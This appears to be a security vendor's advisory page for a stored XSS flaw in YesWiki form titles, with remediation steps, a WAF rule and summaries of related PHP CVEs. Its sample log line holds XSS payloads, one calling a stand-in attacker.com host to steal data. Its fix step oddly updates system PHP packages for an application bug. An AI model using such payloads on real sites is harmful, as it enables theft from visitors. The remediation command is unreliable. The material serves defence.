medium CVSS 6.1 EPSS <0.1%

CVE-2026-34598·PHP vulnerability

YesWiki is a wiki system written in PHP. Prior to version 4.6.0, a stored and blind XSS vulnerability exists in the form title field. A malicious attacker can inject JavaScript without any authentication via a form title that is saved in the backend database. When any user visits that injected page, the JavaScript payload gets executed. This issue has been patched in version 4.6.0.

Severity
medium
Software
PHP
Fixed in
4.6.0
Published

How likely is exploitation

FIRST's Exploit Prediction Scoring System puts the probability of this CVE being exploited in the next 30 days at <0.1% — higher than 20% of all published CVEs. EPSS is an independent forecast of exploitation, not a severity rating: it says nothing about how much damage a successful attack does, which is what a CVSS score measures.

Affected versions

Until: 4.6.0

Fixed in: 4.6.0

How to fix this CVE

YesWiki installations running versions prior to 4.6.0 contain a stored XSS vulnerability in form title fields that allows unauthenticated attackers to inject malicious scripts into the database. Upgrade YesWiki to version 4.6.0 or later to patch this vulnerability. Additionally, review any form titles created before the upgrade and sanitize user-supplied input in form handling functions.

sudo dnf update php php-common php-cli -y && sudo systemctl restart httpd

Defensia detects this vulnerability

What an exploitation attempt looks like

Sample log line indicative of exploitation attempts:

POST request to form creation/edit endpoint with title parameter containing script tags or JavaScript event handlers, e.g., `title=<script>alert('xss')</script>` or `title="onload=fetch('http://attacker.com/steal?data='` appearing in web server logs or WAF logs

WAF mitigation (if patching is not yet possible)

Add this rule to your WAF to block exploitation attempts while you schedule the patch.

Implement ModSecurity rule to block POST requests to form-related endpoints where the title parameter contains unescaped HTML tags or event handlers: `SecRule ARGS:title "@rx (?i)(<script|javascript:|onerror=|onload=|onclick=)" "id:1000,phase:2,deny,status:403,msg:'XSS attempt in form title'`

How to check if you are affected

  1. Check YesWiki version: Run `grep -r 'version' /path/to/yeswiki/VERSION.txt` or check the admin panel under System Settings to identify if your installation is below 4.6.0
  2. Identify exposed form components: Review database tables containing form metadata (typically `yeswiki_forms` or similar) to list all forms and their title fields
  3. Search access logs for suspicious form submissions: Run `grep -i 'POST.*form' /var/log/apache2/access.log | grep -E '[<>"\']' | head -20` to identify potential XSS payload submissions
  4. Verify patch application: After upgrading, run `grep -r 'htmlspecialchars\|htmlentities' /path/to/yeswiki/ | grep -i title` to confirm output encoding is applied to form titles

FAQ

What is CVE-2026-34598?

CVE-2026-34598 is a stored cross-site scripting (XSS) vulnerability in YesWiki versions before 4.6.0 where unauthenticated users can inject malicious JavaScript code through form title fields, which then executes when other users view the page.

Is CVE-2026-34598 being actively exploited?

No, this vulnerability is not listed on the CISA Known Exploited Vulnerabilities (KEV) catalog and no public exploits are currently available.

What versions of YesWiki are affected by CVE-2026-34598?

All YesWiki versions prior to 4.6.0 are affected; version 4.6.0 and later contain the fix.

How do I check if my server is vulnerable to CVE-2026-34598?

Locate your YesWiki installation directory and check the VERSION file with `cat /path/to/yeswiki/VERSION.txt`. If the version is below 4.6.0, you are vulnerable.

Does Defensia detect CVE-2026-34598?

Yes — Defensia's CVE advisory scanner compares installed package versions against the NVD database. If YesWiki is installed on a monitored server, CVE-2026-34598 will appear in your dashboard with remediation steps.

Related PHP CVEs

CVE-2026-28289CVSS 10FreeScout is a free help desk and shared inbox built with PHP's Laravel framework. A patch bypass vulnerability for CVE-2026-27636 in FreeScout 1.8.206 and earlier allows any authenticated user with file upload permissions to achieve Remote Code Execution (RCE) on the server by uploading a malicious .htaccess file using a zero-width space character prefix to bypass the security check. The vulnerability exists in the sanitizeUploadedFileName() function in app/Http/Helper.php. The function contains a Time-of-Check to Time-of-Use (TOCTOU) flaw where the dot-prefix check occurs before sanitization removes invisible characters. This vulnerability is fixed in 1.8.207.
CVE-2025-62521CVSS 10ChurchCRM is an open-source church management system. Prior to version 5.21.0, a pre-authentication remote code execution vulnerability in ChurchCRM's setup wizard allows unauthenticated attackers to inject arbitrary PHP code during the initial installation process, leading to complete server compromise. The vulnerability exists in `setup/routes/setup.php` where user input from the setup form is directly concatenated into a PHP configuration template without any validation or sanitization. Any parameter in the setup form can be used to inject PHP code that gets written to `Include/Config.php`, which is then executed on every page load. This is more severe than typical authenticated RCE vulnerabilities because it requires no credentials and affects the installation process that administrators must complete. Version 5.21.0 patches the issue.
CVE-2025-25174CVSS 10Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion') vulnerability in beeteam368 BeeTeam368 Extensions beeteam368-extensions allows PHP Local File Inclusion.This issue affects BeeTeam368 Extensions: from n/a through <= 1.9.4.
CVE-2025-47916CVSS 10Invision Community 5.0.0 before 5.0.7 allows remote code execution via crafted template strings to themeeditor.php. The issue lies within the themeeditor controller (file: /applications/core/modules/front/system/themeeditor.php), where a protected method named customCss can be invoked by unauthenticated users. This method passes the value of the content parameter to the Theme::makeProcessFunction() method; hence it is evaluated by the template engine. Accordingly, this can be exploited by unauthenticated attackers to inject and execute arbitrary PHP code by providing crafted template strings.
CVE-2024-5932CVSS 10The GiveWP – Donation Plugin and Fundraising Platform plugin for WordPress is vulnerable to PHP Object Injection in all versions up to, and including, 3.14.1 via deserialization of untrusted input from the 'give_title' parameter. This makes it possible for unauthenticated attackers to inject a PHP Object. The additional presence of a POP chain allows attackers to execute code remotely, and to delete arbitrary files.

References

Track CVEs across your fleet automatically

Defensia scans your Linux servers and tells you exactly which ones are running vulnerable versions — including CVE-2026-34598. Free for 1 server.

Get started free